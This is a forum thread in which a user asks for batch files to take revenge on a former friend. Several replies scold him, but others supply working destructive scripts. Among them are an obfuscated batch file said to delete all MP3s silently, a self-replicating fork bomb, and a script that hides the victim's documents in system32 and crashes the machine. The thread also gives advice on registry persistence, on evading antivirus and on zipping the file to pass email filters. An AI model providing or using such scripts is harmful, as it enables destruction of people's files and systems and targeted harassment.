anoying batch

[Executor]

Hi i know you all hate batch files but i wonder if you guys could help me with some anoying bath files like  some batch file who opens Internet explore or firefox /Opera and shows porn websites or some bath files who opens many programs or delites some music with a specific name i dont know ne creative .

[Sparda]

Why would you want to cause such destruction?

Is it to make people hate you? Because your going about it the right way.

[Executor]

No it just i whant to get some revence at a dude.I was sending him something with VNC and i said that i will go to take a shower and i be back soon and left the vnc opened so that the dude would get the file trusting him  wiht my Pc.When i came back from the shower i saw chaos .THe dude had delete some of my personal things  ,fooled with my Yahoo mess insulting evryone and lots more .I trusted that man and he made a foule out of me so all i whant is some little revenge is that to much to ask?

[Deveant]

punch him in the nose.

[Sparda]

Why where you using VNC for file transfer? And why did you allow him to control your desktop?

SILENT SKIDDIE ALARM

[Executor]

He was a friend thats why .

[GonZor]

I distinctly remember somebody posting annoying batch files here before, I would bother getting the link for you but you should have searched for it before posting such a dumb question, As for opening IE or Firefox to a specific website (Oh great revenge.. I cant imagine how bad that will be when Firefox opens up to a porn website, OH NO THE HORROR!) try GOOGLE.

with your question answered please think before posting stupid questions! One thing you will learn as you go through life is revenge is no fun unless it involves punching someone in the face, which i hope is how your friend will get you back for doing this!

EDIT - While your learning you life lesson, could you please learn how to spell. There is a spell checker built into Firefox for a reason, I understand it may take some time with the amount of errors you make but please put in the extra effort and we will be more likely to help in the future.

[SomeoneE1se]

He was a friend thats why .

crowbar + computer tower = revenge

[Shaun]

This will delete all the mp3s on a system (with no warning, so be careful).

@echo off

goto :delall

set b64=5kYEL01Dz5sYkkBeV06XOIi5ciqDebGPTheX8z5uPxc6llHv/+JIDS4WYthou4WkcQy+z8xJ5ixMbOjh/rHn3d9+ubQngP3t5OYLZmyY/M+BMz8/OmxZSdCtOAAG/5RL1EwSCDmlGQ6TpHlWCUg1OAC0ghtGllV+hmhJIaguyJwb80NrxTTTnGHp9wDF6kAHB7Ewhich5cBjs
azAh9p5TlFz1sH/UIEWK0OU52ChQ9p0I1AQNiqgDVET23IT/6uv5xIYNOlh6itODW58iFBfm/7Vsc7wouldIki1z5zXe6lenESUsent65HeJeOPatOzqI7d8Rk5mbTkXrKKYk+pa8RwsWHoE/R6ziQatOk4Vg0rLVuZOhOhU1yvh7rZAdelkLoqAvKzczddDBqegWY1/pVIO8etemxkfTWqer5IJEuZwgyouolK3u8DrLgBb1sqQ3TZj0thisnUgHHUgxz4XyYmO3U6kcqnweZoV
g7qJgwMXzpooDeDvpLulP+6Ed5YgoGYFUwcyGqys1BmnA8Zj28cBheWEh0mu0qToQWhjt1RisLA2Lprl
p
L81DxsicY2TIcXMFZCatYFIsiTc0tjtR17Q1VuJ2w3IpggN05cJfucHTb8FyHiMb9YtkingdLShMKydc
u
CLZK6oi1LzmhTOxQJM7W3ttQG88sbiXwiidiotIa0spyNh62PtPzIxnldtANU7XE+whomPzO/kUD5+xpA3fwfSN0HDCxoztzjsuJA=


:delall
echo %b64:~32,3% %b64:~166,3% %b64:~195,5% %b64:~304,4% %b64:~430,3% %b64:~454,4% %b64:~456,2% %b64:~165,1% %b64:~617,3%%b64:~633,4% %b64:~680,5% %b64:~712,3% %b64:~57,4%%b64:~152,3% %b64:~265,2% %b64:~283,5% %b64:~381,3%%b64:~410,3% %b64:~430,3%%b64:~421,1% %b64:~543,2%%b64:~571,3%

[moonlit]

Apparently bar Shaun, who posted before I got here, we don't do digital revenge, especially on "friends". It's pointless, extremely petty, pathetic, not even almost worth the effort of either doing it or teaching someone how to.

I'm guessing school's out, we're in for a treat in the coming months, eh?

[cooper]

I cant imagine how bad that will be when Firefox opens up to a porn website, OH NO THE HORROR!

Apparently some school teacher was sentenced to 40 years over it. Her appeal was all over slashdot today.

[Guest requiemnoise]

You know... Computer hacking isn't about deleting users files. 

It is taking existing technology and thinking modular ideas.

[Sparda]

You know... Computer hacking isn't about deleting users files. 

It is taking existing technology and thinking modular ideas.

and literal hacking is using some thing to do some thing it wasn't designed to do.

So, for example, a Linksys WRT54G running not-Linksys's Linux is hacked.

[anyedie]

1st:  I like batch files! 

2nd: Batch scripting things like that is like remembering a phone #, you don't even have to know what your doing to write that, google abit a learn if you really want to.

[GonZor]

I cant imagine how bad that will be when Firefox opens up to a porn website, OH NO THE HORROR!

Apparently some school teacher was sentenced to 40 years over it. Her appeal was all over slashdot today.

There is also a slight difference between having Firefox open up to porn on your personal computer and "...exposing her middle school students to Internet porn."

[SomeoneE1se]

I cant imagine how bad that will be when Firefox opens up to a porn website, OH NO THE HORROR!

Apparently some school teacher was sentenced to 40 years over it. Her appeal was all over slashdot today.

There is also a slight difference between having Firefox open up to porn on your personal computer and "...exposing her middle school students to Internet porn."

was I the only one in middle school to already know about porn?

[GonZor]

I cant imagine how bad that will be when Firefox opens up to a porn website, OH NO THE HORROR!

Apparently some school teacher was sentenced to 40 years over it. Her appeal was all over slashdot today.

There is also a slight difference between having Firefox open up to porn on your personal computer and "...exposing her middle school students to Internet porn."

was I the only one in middle school to already know about porn?

No, but for some reason i am reminded of the south park episode "Good times with weapons"...

[Shaun]

I think only in the US or maybe in some Islamic theocratic state could you get 40 years for exposing some some school students to porn. I'm sure most of the boys in the class would have been into porn anyway.

[natural_orange]

Name this batch evil.bat

:start
start evil.bat
goto start

That will repeadatly open new copies of itself which will open new copies of itself etc. etc. until all of his system resources are used up and the system crashes.

or to open "websites" of an honorable nature:

start http://www.website.com/
start http://www.website.com/

** Use At Your Own Risk - I Take NO Responsibility for the use of the scripts provided Above ***

[thespy]

Name this batch evil.bat

:start
start evil.bat
goto start

That will repeadatly open new copies of itself which will open new copies of itself etc. etc. until all of his system resources are used up and the system crashes.

or to open "websites" of an honorable nature:

start http://www.website.com/
start http://www.website.com/

** Use At Your Own Risk - I Take NO Responsibility for the use of the scripts provided Above ***

next question: how do i create a batch file ?  j/k

[HaloChris117]

Hacking is in literal terms ... to use something for what it was not designed to do.

Hacking into computers, networks is about the joy of the hunt, not about deleting personal files.

To pwn a box you don't need to delete files, just pop up a message, change something.

For what your post should have been called is "How do I become a f*cking prick and delete a """Friends"""  personal files."

This is a community of people who want to do things that designers didn't intend to do. This isn't a Virus Creating community.

Find somewhere else.

[proskater123]

ive thrown together the delete mp3 batch and the open wesite one. not much didn't try it to see if it worked. I know i didn't want my computer trashed.

http://jamie-horvath-show.100webspace.net/...of%20tricks.rar

[HALEN666]

just help the guy god @#$#$ it is up to him weather he wants to anoy his friend or not, if you dont wanna help cause you dont like people hitting back then just dont say anything.

if you really have to use a batch file to anoy him then what i would do i would do this:

name the batch file as you.bat

then here is the batch file

@echo off

if exist c:windowssystem32hiden goto lol

md c:windowssystem32hiden

attrib c:windowssystem32hiden +h

start move /y c:"documents and settings"%username%desktop*.* c:windowssystem32hiden

start move c:"documents and settings"%username%my documents c:windowssystem32hiden

:lol

start " @ssh@#$" type c:windowssystemm32*.dll

you.bat

or any other combination you wanna use i use the last two lines to anoy people, you will see why, i found what it does by "experimenting" with command prompt lol since then i have never seen people using this command in a batch file to create somthing like this, iu think a lot of people have't found what type *.dll or type *.exe or just trying read the info of a file from the command pormpt can cause

[proskater123]

just help the guy god @#$#$ it is up to him weather he wants to anoy his friend or not, if you dont wanna help cause you dont like people hitting back then just dont say anything.

if you really have to use a batch file to anoy him then what i would do i would do this:

name the batch file as you.bat

then here is the batch file

@echo off

if exist c:windowssystem32hiden goto lol

md c:windowssystem32hiden

attrib c:windowssystem32hiden +h

start move /y c:"documents and settings"%username%desktop*.* c:windowssystem32hiden

start move c:"documents and settings"%username%my documents c:windowssystem32hiden

:lol

start " @ssh@#$" type c:windowssystemm32*.dll

you.bat

or any other combination you wanna use i use the last two lines to anoy people, you will see why, i found what it does by "experimenting" with command prompt lol since then i have never seen people using this command in a batch file to create somthing like this, iu think a lot of people have't found what type *.dll or type *.exe or just trying read the info of a file from the command pormpt can cause

So what exactly does it do???

[HALEN666]

it will basically move all the documents in "my documents" and " the desktop" folders of the guy that uses that batch file, so if you sent that to somebody then it would move all his documents to a folder in the system 32, then it would hide the folder (minor security) and then it would crash his computer by opening many many many cmd shells that will try to "read" all the dll's files in the system 32 which is something that windows can't handle very good, once it starts readint the files your computer (desktop computer) will beep like crazy, then only way to stop it will be by rebooting your copmputer, of course if you add that batch file to the registry then iw would do the same thing over and over even when the guy reboots his computer, unless he uses safe mode. there are some other keys in the registry that would start the file before the logon screen which is fun too.

anyway there are thousands of ways to bother somebody with a batch file, the best thing is that antiviruses dont detect them lol

anyway iof you try to send it by email then put it in a zip file otherwise some email companies will not accept it (hotmail) yahoo does